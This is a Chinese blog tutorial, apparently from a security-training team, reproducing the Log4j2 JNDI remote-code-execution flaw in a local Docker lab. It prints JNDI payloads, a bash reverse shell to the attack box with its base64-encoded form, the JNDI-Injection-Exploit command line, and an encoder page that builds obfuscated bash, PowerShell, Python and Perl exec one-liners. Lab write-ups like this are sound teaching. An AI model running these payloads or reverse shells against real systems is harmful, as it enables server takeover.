原创 | Log4j2漏洞复现

admin 2022年3月30日10:03:57评论191 views字数 3889阅读12分57秒阅读模式

原创 | Log4j2漏洞复现


导语:这是团队学员、团队主力成员C.的原创文章,一个阳光、帅气、内敛的大男孩(至今未恋爱,想要认识的美女,可加我微信),就读某省警官学院,非常努力,而且专注,天赋能力强,是我得意的徒弟之一,他说他的家乡是乡村振兴的试点村,专门养牛,过年的时候寄了牛肉给我,真的是新鲜又好吃,哈哈(看来做师父还是有点福利的)。今天上课又讲了一些人生,目标是什么?为什么实现很难?因为懒惰和恐惧。谁都不愿意挑战自己的舒适区,真正认真的去反复读书的人很少,走技术这条路,只有坚持,加努力,才能去适应这个万变的互联网安全的世界。挑战技术,成为别人眼中的高手,就是去挑战自己,还是用格局,去结束今天的导语(送给那些咨询过我的学员,我也希望我们有缘分,可惜缘分可遇不可求)。


格局,是一个人认知世界的宽度。格局,是一个人对待事情的深度。不论爱情还是事业,需要的是广阔的胸怀和高远的志向,不舍当下,难得未来。


0x00 漏洞介绍


Log4j2介绍:Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中

 

Log4j2漏洞描述漏洞名称:Apache Log4j2 远程代码执行漏洞。

 由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

 

原理分析本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

 

0x01 环境准备

靶机

IP

攻击机

IP


Kali-linux 

192.168.17.136

Kali-linux

192.168.17.131


0x02 vulfocus靶场搭建

 

1. docker pull vulfocus/vulfocus:latest
2. docker pull vulfocus/log4j2-rce-2021-12-09:latest
3. docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest


访问192.168.17.136:80

 

 

原创 | Log4j2漏洞复现


 

原创 | Log4j2漏洞复现


 

 

0x03 DNSLog验证


payload:${jndi:ldap://xxxxx.dnslog.cn}


 

原创 | Log4j2漏洞复现


 

此时导致400错误,将payload进行url编码后发包

 

原创 | Log4j2漏洞复现


原创 | Log4j2漏洞复现

验证成功

0x04 JNDI注入反弹shell

工具下载地址

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

使用方式

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]


反弹shell指令

bash -i >& /dev/tcp/ip/port 0>&1


此处反弹shell命令为

bash -i >& /dev/tcp/192.168.17.131/9999 0>&1


 

将命令进行Java Runtime Bash 编码后为

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

原创 | Log4j2漏洞复现

 源码

<!--Java Runtime Bash 编码网页源码--><!DOCTYPE html><html><head>    <title>java runtime exec usage...</title></head><body>    <p>Input type:<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label><input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label><input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label><input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea><textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
<script> var taInput = document.querySelector('textarea#input'); var taOutput = document.querySelector('textarea#output');
function processInput() { var option = document.querySelector('input[name="option"]:checked').value;
switch (option) { case 'bash': taInput.placeholder = 'Type Bash here...' taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}'; break; case 'powershell': taInput.placeholder = 'Type PowerShell here...' poshInput = '' for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); } taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput); break; case 'python': taInput.placeholder = 'Type Python here...' taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))"; break; case 'perl': taInput.placeholder = 'Type Perl here...' taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))"; break; default: taOutput.value = '' }
if (!taInput.value) taOutput.value = ''; }
taInput.addEventListener('input', processInput, false);</script>
</body></html>

使用工具生成payload命令为:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.17.131

原创 | Log4j2漏洞复现

 

得到payload:

${jndi:rmi://192.168.17.131:1099/bsfvky}


同时监听本地9999端口

 

原创 | Log4j2漏洞复现


 

编码后发送到靶机:

 

原创 | Log4j2漏洞复现


 

成功反弹shell:

 

原创 | Log4j2漏洞复现


原创 | Log4j2漏洞复现


船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!


原创 | Log4j2漏洞复现



原创 | Log4j2漏洞复现

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加团队队长邀请)

原创 | Log4j2漏洞复现

从业精于勤而荒于嬉,

行成于思而毁于随。

原文始发于微信公众号(衡阳信安):原创 | Log4j2漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日10:03:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | Log4j2漏洞复现http://cn-sec.com/archives/853379.html

发表评论

匿名网友 填写信息